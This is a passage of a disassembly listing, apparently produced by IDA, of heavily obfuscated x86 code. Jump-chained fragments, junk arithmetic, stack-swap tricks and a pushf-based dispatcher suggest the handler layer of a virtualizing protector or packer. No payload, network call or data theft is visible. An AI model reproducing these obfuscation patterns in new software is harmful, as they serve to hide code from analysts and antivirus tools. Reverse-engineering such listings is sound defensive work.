		jmp	loc_58907C
; ---------------------------------------------------------------------------


loc_585F18:				; CODE XREF: sub_581EE9+679Fj
		pop	ecx
		xor	edx, 104602h
		jmp	loc_58F087
; ---------------------------------------------------------------------------


loc_585F24:				; CODE XREF: sub_581EE9+93ECj
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_58F017
; ---------------------------------------------------------------------------


loc_585F2F:				; CODE XREF: sub_581EE9+DA42j
		mov	[esp], edi
		jmp	loc_58EFA0
; ---------------------------------------------------------------------------


loc_585F37:				; CODE XREF: sub_581EE9+D7EFj
		add	ecx, ebp
		jmp	loc_5887B0
; ---------------------------------------------------------------------------


loc_585F3E:				; CODE XREF: sub_581EE9+6337j
		neg	edx
		inc	edx
		push	ecx
		mov	ecx, 114F69E3h
		sub	ecx, 6E1D2E71h
		jmp	loc_58D3AC
; ---------------------------------------------------------------------------


loc_585F52:				; CODE XREF: sub_581EE9+DF75j
		xor	di, 2F93h
		jmp	loc_59167C
; ---------------------------------------------------------------------------


loc_585F5C:				; CODE XREF: sub_581EE9+A51Cj
		sub	ebx, edi
		pop	edi
		sub	esp, 4
		mov	[esp-6EC8h+arg_6EBE+2],	esi
		mov	esi, 0B689807Dh
		xor	ebx, esi
		pop	esi
		sub	eax, ebx
		pop	ebx
		push	esi
		jmp	loc_58C0DA
; ---------------------------------------------------------------------------


loc_585F79:				; CODE XREF: sub_581EE9+9657j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		xchg	eax, ecx
		inc	eax
		jmp	loc_58E322
; ---------------------------------------------------------------------------


loc_585F91:				; CODE XREF: sub_581EE9+B354j
		xor	ebp, 3B394819h
		add	ebp, 17FA55A9h
		sub	ebp, 0E54F75FDh
		sub	ecx, 8E6319Fh
		jmp	loc_58AD9B
; ---------------------------------------------------------------------------


loc_585FAE:				; CODE XREF: sub_581EE9+F58Ej
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	edi, 4
		push	ecx
		push	esi
		mov	esi, 2DB04CABh
		mov	ecx, 0D24FB357h
		add	ecx, esi
		jmp	loc_586B6D
; ---------------------------------------------------------------------------


loc_585FD1:				; DATA XREF: sub_581EE9+3D8Bo
		mov	ax, word ptr [esp-6EC8h+arg_6EBE+2]
		push	9A3h
		mov	[esp-6EC4h+arg_6EBA+2],	edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp-6EC0h+arg_6EB6+2],	edi
		mov	edi, 2
		add	edx, 6E620E70h
		jmp	loc_5867C9
; ---------------------------------------------------------------------------


loc_586001:				; CODE XREF: sub_581EE9+5D97j
		pop	esp
		mov	[esp-6EC4h+arg_6EBA+2],	edi
		mov	edi, 64FC6A7Ch
		push	ecx
		jmp	loc_58B311
; ---------------------------------------------------------------------------


loc_586010:				; CODE XREF: sub_581EE9+661Cj
		mov	[esp-6EC0h+arg_6EB6+2],	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	ecx
		mov	ecx, 4
		push	esi
		mov	esi, 25982966h
		xor	esi, 37EA30B8h
		add	eax, esi
		pop	esi
		add	eax, ecx
		sub	eax, 127219DEh
		pop	ecx
		xor	eax, [esp-6EC4h+arg_6EBA+2]
		xor	[esp-6EC4h+arg_6EBA+2],	eax
		xor	eax, [esp-6EC4h+arg_6EBA+2]
		pop	esp
		jmp	loc_585E65
; ---------------------------------------------------------------------------


loc_586047:				; CODE XREF: sub_581EE9+A67Fj
		add	cl, 0F1h
		push	eax
		mov	al, cl
		mov	dl, al
		pop	eax
		mov	ecx, [esp-6EC8h+arg_6EBE+2]
		add	esp, 4
		add	dl, 0FFh
		add	dl, 3Bh
		add	al, 23h
		push	cx
		mov	ch, 2Eh
		add	al, ch
		jmp	loc_58E84A
; ---------------------------------------------------------------------------


loc_586069:				; CODE XREF: sub_581EE9+463Dj
		mov	[esp-6ECAh+arg_6EC2], ebp
		push	esp
		mov	ebp, [esp-6EC6h+arg_6EBE]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edi
		mov	edi, 2B2336DBh
		add	edi, 1
		shl	edi, 2
		shl	edi, 3
		sub	edi, 0FFFFFFFFh
		push	ecx
		mov	ecx, 4B4015Ah
		xor	ecx, 9F2D25D9h
		add	edi, ecx
		pop	ecx
		jmp	loc_58D771
; ---------------------------------------------------------------------------


loc_5860A6:				; CODE XREF: sub_581EE9+A573j
		shl	edx, 2
		jmp	loc_58C762
; ---------------------------------------------------------------------------


loc_5860AE:				; CODE XREF: sub_581EE9+D049j
		sub	edi, 30334904h
		xor	edi, 0AF7587Ah
		xor	edi, 9344DC42h
		add	ebx, edi
		mov	edi, [esp]
		jmp	loc_58B2C3
; ---------------------------------------------------------------------------


loc_5860CA:				; CODE XREF: sub_581EE9+FAABj
		xor	eax, ecx
		xchg	eax, edx
		xor	edx, ecx
		xor	ecx, edx
		xor	edx, ecx
		push	50B9h
		mov	[esp-6EBEh+arg_6EB6], ecx
		not	[esp-6EBEh+arg_6EB6]
		jmp	loc_58FCC3
; ---------------------------------------------------------------------------


loc_5860E3:				; CODE XREF: sub_581EE9+A0C9j
		mov	ch, 9Ch
		jmp	loc_58B7C0
; ---------------------------------------------------------------------------


loc_5860EA:				; CODE XREF: sub_581EE9+EC4Dj
		xor	ebp, 48579D61h
		jmp	loc_58DC7F
; ---------------------------------------------------------------------------


loc_5860F5:				; CODE XREF: sub_581EE9+CA1Fj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp-6EBAh+arg_6EB2]
		xor	[esp-6EBAh+arg_6EB2], edx
		xor	edx, [esp-6EBAh+arg_6EB2]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	[esp-6EBAh+arg_6EB2]
		mov	eax, [esp-6EB6h+arg_6EAC+2]
		jmp	loc_5917A1
; ---------------------------------------------------------------------------


loc_58611C:				; CODE XREF: sub_581EE9+5590j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6EB2h+arg_6EA8+2]
		jmp	loc_589CDA
; ---------------------------------------------------------------------------


loc_586130:				; CODE XREF: sub_581EE9+F740j
		mov	esi, [esp-6EB2h+arg_6EA8+2]
		add	esp, 4
		add	edx, 1C435A0Eh
		add	edx, eax
		sub	edx, 1C435A0Eh
		add	edx, 7644DACh
		jmp	loc_591B70
; ---------------------------------------------------------------------------


loc_586152:				; CODE XREF: sub_581EE9+B650j
		and	esi, 196D36F5h
		and	esi, 784244F0h
		and	esi, 4AB6EE9h
		sub	esi, 0A2C9C425h
		mov	eax, esi
		pop	esi
		jmp	loc_58738B
; ---------------------------------------------------------------------------


loc_586172:				; CODE XREF: sub_581EE9+59BAj
		add	esp, 4
		push	1A78h
		mov	[esp-6EBAh+arg_6EB2], edx
		push	ecx
		mov	ch, 0BFh
		mov	dh, 0E7h
		add	dh, ch
		pop	ecx
		sub	al, 0Bh
		jmp	loc_5890D1
; ---------------------------------------------------------------------------


loc_58618F:				; CODE XREF: sub_581EE9+FD12j
		xchg	edx, [esp-6EBAh+arg_6EB2]
		pop	esp
		jmp	loc_5892AC
; ---------------------------------------------------------------------------


loc_586198:				; CODE XREF: sub_581EE9+57FEj
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 14030DD7h
		xor	edi, 7FB9358Dh
		sub	edi, 6BBA3856h
		add	eax, edi
		pop	edi
		xchg	eax, [esp-6EBEh+arg_6EB6]
		pop	esp
		sub	esi, 17DF4B7Dh
		mov	edi, esi
		pop	esi
		push	0EDDEEF26h
		jmp	loc_58F8D3
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6EC2h+arg_6EBA]
		push	2EAAh
		mov	[esp-6EBEh+arg_6EB6], edi
		jmp	loc_58F822
; ---------------------------------------------------------------------------


loc_5861DC:				; CODE XREF: sub_581EE9+C569j
		xor	edx, esi
		pop	esi
		mov	ebx, edx
		mov	edx, [esp-6EC2h+arg_6EBA]
		jmp	loc_58B4F2
; ---------------------------------------------------------------------------


loc_5861E9:				; CODE XREF: sub_581EE9+C854j
		add	esi, 2DDD2EACh
		jmp	loc_585EF6
; ---------------------------------------------------------------------------


loc_5861F4:				; CODE XREF: sub_581EE9+7DAFj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6EC2h+arg_6EBA]
		pop	esp
		push	eax
		jmp	loc_5885A1
; ---------------------------------------------------------------------------


loc_586207:				; CODE XREF: sub_581EE9+BFE9j
		add	edi, 0A4FDC8D3h
		add	ecx, edi
		pop	edi
		jmp	loc_58E9D6
; ---------------------------------------------------------------------------


loc_586215:				; CODE XREF: sub_581EE9+439Dj
		xor	edi, [esp-6EC6h+arg_6EBE]
		pop	esp
		jmp	loc_590622
; ---------------------------------------------------------------------------


loc_58621E:				; CODE XREF: sub_581EE9+6CD1j
		add	ebp, 4
		add	ebp, 2
		push	36AFh
		mov	[esp], ebp
		push	[esp-6EC6h+arg_6EC2]
		jmp	loc_58684D
; ---------------------------------------------------------------------------


loc_586238:				; CODE XREF: sub_581EE9+523Aj
		pop	edx
		add	edi, 3C3A0D4Bh
		add	edi, ecx
		sub	edi, 3C3A0D4Bh
		pop	ecx
		xor	edi, 0DBD28C2h
		push	esi
		mov	esi, 2EEE1ACFh
		shl	esi, 7
		neg	esi
		shl	esi, 3
		xor	esi, 0A47C8BD1h
		sub	edi, esi
		pop	esi
		and	eax, edi
		mov	edi, [esp-6ECAh+arg_6EC2]
		add	esp, 4
		shr	eax, 5
		xor	eax, 296A0BA7h
		push	edx
		mov	edx, 2BC84BA7h
		jmp	loc_59031C
; ---------------------------------------------------------------------------


loc_586280:				; CODE XREF: sub_581EE9+6B01j
		xor	edi, [esp-6ECAh+arg_6EC2]
		xor	[esp-6ECAh+arg_6EC2], edi
		jmp	loc_586215
; ---------------------------------------------------------------------------


loc_58628B:				; CODE XREF: sub_581EE9+4DC7j
		mov	[esp-6ECAh+arg_6EC2], edi
		push	edx
		pop	edi
		pop	edx
		push	edx
		xchg	edx, [esp-6ECAh+arg_6EC2]
		not	edx
		xchg	edx, [esp-6ECAh+arg_6EC2]
		mov	edx, [esp-6ECAh+arg_6EC2]
		add	esp, 4
		xchg	edx, edi
		xor	ebp, edi
		jmp	loc_58783B
; ---------------------------------------------------------------------------


loc_5862AC:				; CODE XREF: sub_581EE9+B813j
		push	5C7Ah
		mov	[esp-6ECAh+arg_6EC2], ebx
		push	edx
		push	12866360h
		pop	edx
		xor	edx, 438C30D5h
		add	edx, 690784Ah
		add	edx, 0AA653401h
		jmp	loc_58DAF5
; ---------------------------------------------------------------------------


loc_5862D2:				; CODE XREF: sub_581EE9+4A88j
		xchg	ebp, esi
		not	ebp
		xchg	ebp, esi
		sub	esi, 0F690CF0Bh
		xor	edi, esi
		pop	esi
		sub	eax, edi
		mov	edi, [esp-6ECAh+arg_6EC2]
		add	esp, 4
		mov	ebx, eax
		jmp	loc_58BF18
; ---------------------------------------------------------------------------


loc_5862F0:				; DATA XREF: sub_581EE9+3B2Fo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp-6ED0h+arg_6EC6+2], cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5862FF:				; CODE XREF: sub_581EE9+4A5Ej
		mov	edx, eax
		pop	eax
		pop	esi
		add	eax, edx
		pop	edx
		xor	eax, [esp-6ED8h+arg_6ECE+2]
		xor	[esp-6ED8h+arg_6ECE+2],	eax
		xor	eax, [esp-6ED8h+arg_6ECE+2]
		pop	esp
		idiv	cl
		jmp	loc_58A0E9
; ---------------------------------------------------------------------------


loc_586317:				; CODE XREF: sub_581EE9+7827j
		pop	eax
		push	ebp
		mov	ebp, 2C720089h
		or	ebp, 0A906105h
		sub	ebp, 2EF26189h
		add	eax, ebp
		pop	ebp
		add	eax, 2
		xor	eax, [esp-6EE0h+arg_6ED6+2]
		xor	[esp-6EE0h+arg_6ED6+2],	eax
		xor	eax, [esp-6EE0h+arg_6ED6+2]
		jmp	loc_586C15
; ---------------------------------------------------------------------------


loc_58633E:				; CODE XREF: sub_581EE9+7B91j
		inc	esi
		inc	esi
		push	esi
		neg	[esp-6EDCh+arg_6ED2+2]
		pop	esi
		neg	esi
		jmp	loc_58FE1B
; ---------------------------------------------------------------------------


loc_58634C:				; CODE XREF: sub_581EE9+BFC0j
		pop	ebp
		add	eax, 1C36198h
		xor	eax, 43CB8D2Bh
		add	esi, eax
		pop	eax
		add	esi, 2
		jmp	loc_58D2F5
; ---------------------------------------------------------------------------


loc_586362:				; CODE XREF: sub_581EE9+73BEj
		add	edi, edx
		jmp	loc_591AC3
; ---------------------------------------------------------------------------


loc_586369:				; CODE XREF: sub_581EE9+4E5Bj
		sub	esp, 4
		mov	[esp-6EE4h+arg_6EDC], eax
		mov	eax, 2
		add	edi, 6FB4655Dh
		add	edi, eax
		sub	edi, 6FB4655Dh
		pop	eax
		xchg	edi, [esp-6EE8h+arg_6EE0]
		mov	esp, [esp-6EE8h+arg_6EE0]
		ror	word ptr [esp-6EE8h+arg_6EE0], cl
		pushf
		jmp	loc_5905B3
; ---------------------------------------------------------------------------


loc_586396:				; CODE XREF: sub_581EE9+6CA2j
		inc	ebp
		xor	ebp, 0D9F78D7h
		sub	ebx, ebp
		pop	ebp
		sub	ebx, eax
		add	ebx, 6B991FE3h
		push	ecx
		jmp	loc_589B05
; ---------------------------------------------------------------------------


loc_5863AE:				; CODE XREF: sub_581EE9+D4C0j
		mov	al, 13h
		jmp	loc_58CE3A
; ---------------------------------------------------------------------------


loc_5863B5:				; CODE XREF: sub_581EE9+8993j
		pop	esi
		jmp	loc_58C526
; ---------------------------------------------------------------------------


loc_5863BB:				; CODE XREF: sub_581EE9+921Dj
		mov	esi, 47C334CBh
		and	esi, 182939E2h
		push	ebp
		jmp	loc_58EBAD
; ---------------------------------------------------------------------------


loc_5863CC:				; CODE XREF: sub_581EE9+A01Aj
		add	esi, 5E3D1E17h
		sub	esi, ebx
		sub	esi, 5E3D1E17h
		pop	ebx
		sub	esp, 4
		mov	[esp-6EE4h+arg_6EDC], esi
		push	[esp-6EE4h+arg_6EE0]
		mov	esi, [esp-6EE0h+arg_6ED6+2]
		add	esp, 4
		pop	[esp-6EE4h+arg_6EDC]
		pop	esp
		mov	word ptr [esp-6EECh+arg_6EE4], ax
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5863F8:				; CODE XREF: sub_581EE9+7630j
		push	ax
		jmp	loc_58C939
; ---------------------------------------------------------------------------


loc_5863FF:				; CODE XREF: sub_581EE9+45BFj
		xchg	ebx, ebp
		and	ebp, 17FF53A0h
		inc	ebp
		push	edi
		mov	edi, 470B307Dh
		not	edi
		and	edi, 75BF17DBh
		jmp	loc_5872AC
; ---------------------------------------------------------------------------


loc_58641B:				; CODE XREF: sub_581EE9+A3B0j
		push	eax
		mov	al, 1Ah
		sub	bl, al
		pop	eax
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------


loc_586429:				; DATA XREF: sub_581EE9+3AF7o
		xor	[esp-6F06h+arg_6EFE], eax
		xor	eax, [esp-6F06h+arg_6EFE]
		xor	[esp-6F06h+arg_6EFE], eax
		sub	esp, 4
		jmp	loc_58F299
; ---------------------------------------------------------------------------


loc_58643D:				; CODE XREF: sub_581EE9+8FA3j
		mov	edx, 53C722D2h
		sub	edx, 11F961D0h
		shl	edx, 7
		neg	edx
		add	edx, 5FF9D446h
		sub	ebp, edx
		jmp	loc_591340
; ---------------------------------------------------------------------------


loc_58645A:				; CODE XREF: sub_581EE9+69D9j
		push	ebp
		push	1306430Fh
		jmp	loc_58E677
; ---------------------------------------------------------------------------


loc_586465:				; CODE XREF: sub_581EE9+7EDBj
		mov	ah, 37h
		jmp	loc_58703C
; ---------------------------------------------------------------------------


loc_58646C:				; CODE XREF: sub_581EE9+5437j
		pop	esp
		mov	[esp-6EFEh+arg_6EF6], ecx
		mov	ecx, 635B1F97h
		push	ecx
		dec	[esp-6EFAh+arg_6EF0+2]
		pop	ecx
		or	ecx, 329D706Ch
		push	edi
		push	ecx
		jmp	loc_590791
; ---------------------------------------------------------------------------


loc_586487:				; CODE XREF: sub_581EE9+691Dj
		xor	ch, bh
		pop	ebx
		add	bl, 92h
		add	bl, ch
		sub	bl, 92h
		pop	ecx
		movzx	eax, al
		jmp	loc_58F07F
; ---------------------------------------------------------------------------


loc_58649B:				; CODE XREF: sub_581EE9+7518j
		push	ebp
		mov	ebp, 9C3617h
		xor	ebp, ebx
		xor	ebx, ebp
		xor	ebp, ebx
		inc	ebx
		jmp	loc_5863FF
; ---------------------------------------------------------------------------


loc_5864AD:				; CODE XREF: sub_581EE9+AC59j
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	[esp-6EF6h+arg_6EEC+2]
		mov	eax, [esp-6EF2h+arg_6EE8+2]
		push	esi
		push	esp
		pop	esi
		jmp	loc_5875A6
; ---------------------------------------------------------------------------


loc_5864C3:				; CODE XREF: sub_581EE9+4AFBj
		mov	ecx, 5E0F27D3h
		and	ecx, 4E4D46E3h
		push	ebx
		mov	ebx, 0B516323Ah
		sub	ecx, ebx
		jmp	loc_58BE58
; ---------------------------------------------------------------------------


loc_5864DB:				; CODE XREF: sub_581EE9+7B4Dj
		push	edx
		mov	edx, esp
		jmp	loc_58B9B9
; ---------------------------------------------------------------------------


loc_5864E3:				; CODE XREF: sub_581EE9+B28Dj
		add	bl, al
		sub	bl, 17h
		push	0DCEh
		mov	[esp+0], edx
		mov	dh, 0ACh
		push	edx
		mov	dh, 61h
		neg	dh
		dec	dh
		sub	dh, 0F3h
		sub	bl, dh
		pop	edx
		jmp	loc_590B4F
; ---------------------------------------------------------------------------


loc_586504:				; CODE XREF: sub_581EE9+E296j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_586509:				; CODE XREF: sub_581EE9+8835j
		pop	eax
		mov	edi, ebp
		pop	ebp
		not	edi
		push	ebx
		mov	ebx, 768716AFh
		sub	ebx, 19D621E7h
		jmp	loc_58E3FD
; ---------------------------------------------------------------------------


loc_586520:				; CODE XREF: sub_581EE9+4CD8j
		sub	esp, 4
		jmp	loc_586069
; ---------------------------------------------------------------------------


loc_58652B:				; CODE XREF: sub_581EE9+DE19j
		add	eax, ebp
		pop	ebp
		push	eax
		push	[esp-6EE2h+arg_6EDC+2]
		pop	eax
		pop	dword ptr [esp+0]
		pop	esp
		push	ecx
		push	7C95h
		jmp	loc_58FC59
; ---------------------------------------------------------------------------


loc_586543:				; CODE XREF: sub_581EE9+77E2j
		mov	ebx, [esp+0]
		jmp	loc_58CDDB
; ---------------------------------------------------------------------------


loc_58654B:				; CODE XREF: sub_581EE9+875Cj
		xor	esi, ecx
		pop	ecx
		push	ebx
		jmp	loc_58F673
; ---------------------------------------------------------------------------


loc_586554:				; CODE XREF: sub_581EE9+C251j
		push	4
		push	[esp-6EDEh+arg_6ED6]
		pop	ecx
		jmp	loc_58AC2B
; ---------------------------------------------------------------------------


loc_586562:				; CODE XREF: sub_581EE9+E253j
		add	edi, 4
		xchg	edi, [esp-6EDEh+arg_6ED6]
		mov	esp, [esp-6EDEh+arg_6ED6]
		jmp	loc_590CC6
; ---------------------------------------------------------------------------


loc_586570:				; CODE XREF: sub_581EE9+CBE0j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6EDEh+arg_6ED6]
		pop	esp
		jmp	loc_591991
; ---------------------------------------------------------------------------


loc_586583:				; CODE XREF: sub_581EE9+514Ej
		add	ch, 62h
		jmp	loc_58ACDA
; ---------------------------------------------------------------------------
		db 89h
; ---------------------------------------------------------------------------
		and	al, 24h
		push	esi
		mov	esi, 4
		jmp	loc_588081
; ---------------------------------------------------------------------------


loc_586599:				; CODE XREF: sub_581EE9+85E9j
		push	esi
		push	[esp-6EDAh+arg_6ED6]
		pop	esi
		pop	[esp-6EDAh+arg_6ED2]
		pop	esp
		shl	word ptr [esp+0], cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5865AD:				; CODE XREF: sub_581EE9+ABAEj
		push	edi
		mov	edi, 1D374E08h
		jmp	loc_58E993
; ---------------------------------------------------------------------------


loc_5865B8:				; CODE XREF: sub_581EE9+83CBj
		mov	ebx, 3552782Fh
		sub	edx, 642E5F4Eh
		jmp	loc_58858A
; ---------------------------------------------------------------------------


loc_5865C8:				; CODE XREF: sub_581EE9+DAB9j
		inc	ebx
		sub	ebx, 7F803BC9h
		mov	ebp, ebx
		pop	ebx
		add	ecx, ebp
		mov	ebp, [esp-6EDEh+arg_6ED6]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	ecx, 6AF97FBCh
		jmp	loc_58D6E8
; ---------------------------------------------------------------------------


loc_5865EE:				; DATA XREF: sub_581EE9+3C67o
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-6EF6h+arg_6EEC+2]
		pop	esp
		mov	[esp-6EFAh+arg_6EF0+2],	edi
		push	esp
		push	[esp-6EF6h+arg_6EEC+2]
		pop	edi
		add	esp, 4
		push	5F3Eh
		mov	[esp-6EF6h+arg_6EEC+2],	eax
		mov	eax, 4E34428Ah
		xor	eax, 4E34428Eh
		add	edi, 333B54CDh
		add	edi, eax
		sub	edi, 333B54CDh
		mov	eax, [esp-6EF6h+arg_6EEC+2]
		add	esp, 4
		sub	edi, 4
		xchg	edi, [esp-6EFAh+arg_6EF0+2]
		mov	esp, [esp-6EFAh+arg_6EF0+2]
		jmp	loc_58F861
; ---------------------------------------------------------------------------


loc_586640:				; CODE XREF: sub_581EE9+70D5j
		mov	[esp-6EFAh+arg_6EF0+2],	ebx
		jmp	loc_58A4D7
; ---------------------------------------------------------------------------


loc_586648:				; CODE XREF: sub_581EE9+E160j
		pop	ecx
		shl	bl, 7
		shl	bl, 4
		inc	bl
		jmp	loc_58C9D7
; ---------------------------------------------------------------------------


loc_586656:				; CODE XREF: sub_581EE9+C778j
		mov	bl, cl
		pop	ecx
		xor	bl, 9Ah
		jmp	loc_58851E
; ---------------------------------------------------------------------------


loc_586661:				; CODE XREF: sub_581EE9+B330j
		sub	esp, 4
		mov	[esp-6EFEh+arg_6EF6], edi
		mov	edi, 44AB7420h
		jmp	loc_588A84
; ---------------------------------------------------------------------------


loc_586671:				; CODE XREF: sub_581EE9+80BFj
		add	esp, 4
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		jmp	loc_586F5C
; ---------------------------------------------------------------------------


loc_586686:				; DATA XREF: sub_581EE9+3C57o
		mov	cx, word ptr [esp-6EFEh+arg_6EF6]
		jmp	loc_58C8AB
; ---------------------------------------------------------------------------


loc_58668F:				; CODE XREF: sub_581EE9+F140j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-6EFEh+arg_6EF6]
		pop	esp
		push	ebp
		push	[esp-6EFEh+arg_6EFA]
		pop	ebp
		pop	[esp-6EFEh+arg_6EF6]
		mov	esp, [esp-6F02h+arg_6EFA]
		mov	ax, word ptr [esp-6F02h+arg_6EFA]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	eax
		mov	eax, 4
		sub	ebx, eax
		pop	eax
		xchg	ebx, [esp-6EFEh+arg_6EF6]
		pop	esp
		mov	[esp-6F02h+arg_6EFA], eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		jmp	loc_590BF7
; ---------------------------------------------------------------------------


loc_5866D2:				; CODE XREF: sub_581EE9+6A83j
		push	esi
		not	[esp-6EFAh+arg_6EF0+2]
		pop	esi
		push	ebp
		push	esi
		jmp	loc_58BA4F
; ---------------------------------------------------------------------------


loc_5866DE:				; CODE XREF: sub_581EE9+794Bj
		pop	eax
		push	edx
		pop	eax
		jmp	loc_5894DC
; ---------------------------------------------------------------------------


loc_5866E6:				; CODE XREF: sub_581EE9+7CA3j
		push	[esp-6EFAh+arg_6EF6]
		pop	edi
		pop	[esp-6EFAh+arg_6EF0+2]
		jmp	loc_58A82F
; ---------------------------------------------------------------------------


loc_5866F3:				; CODE XREF: sub_581EE9+D1DAj
		push	[esp-6EFEh+arg_6EFA]
		mov	edx, [esp-6EFAh+arg_6EF0+2]
		add	esp, 4
		pop	[esp-6EFEh+arg_6EF6]
		mov	esp, [esp-6F02h+arg_6EFA]
		cmp	cx, ax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58670F:				; CODE XREF: sub_581EE9+7B45j
		mov	eax, 4
		jmp	loc_587227
; ---------------------------------------------------------------------------


loc_586719:				; CODE XREF: sub_581EE9+66D3j
		mov	[esp-6EFEh+arg_6EF6], esi
		push	ebx
		push	ecx
		jmp	loc_58CD21
; ---------------------------------------------------------------------------


loc_586723:				; CODE XREF: sub_581EE9+D1BAj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6EF6h+arg_6EEC+2]
		pop	esp
		sub	esp, 4
		mov	[esp-6EF6h+arg_6EEC+2],	edi
		mov	edi, esp
		push	33E2h
		mov	[esp-6EF2h+arg_6EE8+2],	eax
		push	ebp
		jmp	loc_58BBE1
; ---------------------------------------------------------------------------


loc_58674C:				; CODE XREF: sub_581EE9+B7B8j
		sub	ebx, 4
		xchg	ebx, [esp-6EEEh+arg_6EE4+2]
		pop	esp
		mov	[esp-6EF2h+arg_6EE8+2],	ebx
		mov	ebx, 235B2FB0h
		push	ebp
		mov	ebp, 751973C8h
		or	ebx, ebp
		pop	ebp
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		and	ebx, 7FAB328Bh
		dec	ebx
		push	edx
		mov	edx, 303E1E35h
		or	ebx, edx
		pop	edx
		jmp	loc_59109A
; ---------------------------------------------------------------------------


loc_58677F:				; CODE XREF: sub_581EE9+8DFCj
		dec	eax
		xor	eax, 48052D39h
		sub	esi, eax
		pop	eax
		jmp	loc_58A31E
; ---------------------------------------------------------------------------


loc_58678D:				; CODE XREF: sub_581EE9+BED9j
		add	bl, 19h
		sub	esp, 4
		jmp	loc_58C053
; ---------------------------------------------------------------------------


loc_58679B:				; CODE XREF: sub_581EE9+5FB1j
		push	ecx
		push	[esp-6EEEh+arg_6EE8+2]
		pop	ecx
		jmp	loc_585DEC
; ---------------------------------------------------------------------------


loc_5867A6:				; CODE XREF: sub_581EE9+C789j
		sub	ecx, edx
		jmp	loc_58D63D
; ---------------------------------------------------------------------------


loc_5867AD:				; CODE XREF: sub_581EE9+7BC5j
		xor	dh, 99h
		add	al, dh
		pop	edx
		push	ecx
		mov	cl, 4Bh
		or	cl, 0ADh
		shr	cl, 8
		jmp	loc_58CB94
; ---------------------------------------------------------------------------


loc_5867C1:				; CODE XREF: sub_581EE9+C03Cj
		xor	[esp], eax
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5867C9:				; CODE XREF: sub_581EE9+4113j
		add	edx, 573E0646h
		add	edx, edi
		sub	edx, 573E0646h
		sub	edx, 6E620E70h
		mov	edi, [esp-6EC0h+arg_6EB6+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6EBCh+arg_6EB2+2]
		pop	esp
		xor	edx, [esp-6EC0h+arg_6EB6+2]
		xor	[esp-6EC0h+arg_6EB6+2],	edx
		xor	edx, [esp-6EC0h+arg_6EB6+2]
		jmp	loc_589618
; ---------------------------------------------------------------------------


loc_586801:				; CODE XREF: sub_581EE9+5D55j
		sub	esp, 4
		mov	[esp-6EBCh+arg_6EB2+2],	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp-6EBCh+arg_6EB2+2]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	eax, 1F37721h
		jmp	loc_58E770
; ---------------------------------------------------------------------------


loc_586827:				; CODE XREF: sub_581EE9+6D01j
		mov	bl, dl
		pop	edx
		push	cx
		jmp	loc_587451
; ---------------------------------------------------------------------------


loc_586831:				; CODE XREF: sub_581EE9+BAF7j
		add	ecx, 4
		push	edi
		mov	edi, 2
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp-6EBEh+arg_6EB6]
		pop	esp
		pop	small word ptr [esp-6EC2h+arg_6EBA]
		jmp	loc_589A3B
; ---------------------------------------------------------------------------


loc_58684D:				; CODE XREF: sub_581EE9+434Aj
		pop	ebp
		pop	[esp-6EC6h+arg_6EBE]
		jmp	loc_586DBC
; ---------------------------------------------------------------------------


loc_586856:				; CODE XREF: sub_581EE9+964Dj
		add	eax, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_58DDFB
; ---------------------------------------------------------------------------


loc_586866:				; CODE XREF: sub_581EE9+5FEBj
		pop	edi
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	0
		add	dword ptr [esp], 2C39270Dh
		jmp	loc_58D2E2
; ---------------------------------------------------------------------------


loc_586880:				; CODE XREF: sub_581EE9+F39Bj
		pop	esp
		mov	[esp-6ECEh+arg_6EC6], ecx
		push	4B51h
		mov	[esp-6ECAh+arg_6EC2], esi
		mov	esi, 0
		push	esi
		sub	[esp-6EC6h+arg_6EBE], 7C860407h
		pop	ecx
		add	ecx, 7C860407h
		pop	esi
		add	ecx, edx
		add	eax, [ecx]
		jmp	loc_586A6E
; ---------------------------------------------------------------------------


loc_5868AA:				; CODE XREF: sub_581EE9+A864j
		pop	esi
		xchg	ebp, [esp-6ED2h+arg_6ECA]
		pop	esp
		mov	ebp, [esp-6ED6h+arg_6ECE]
		add	esp, 4
		jmp	loc_589889
; ---------------------------------------------------------------------------


loc_5868BD:				; CODE XREF: sub_581EE9+748Aj
		push	ebp
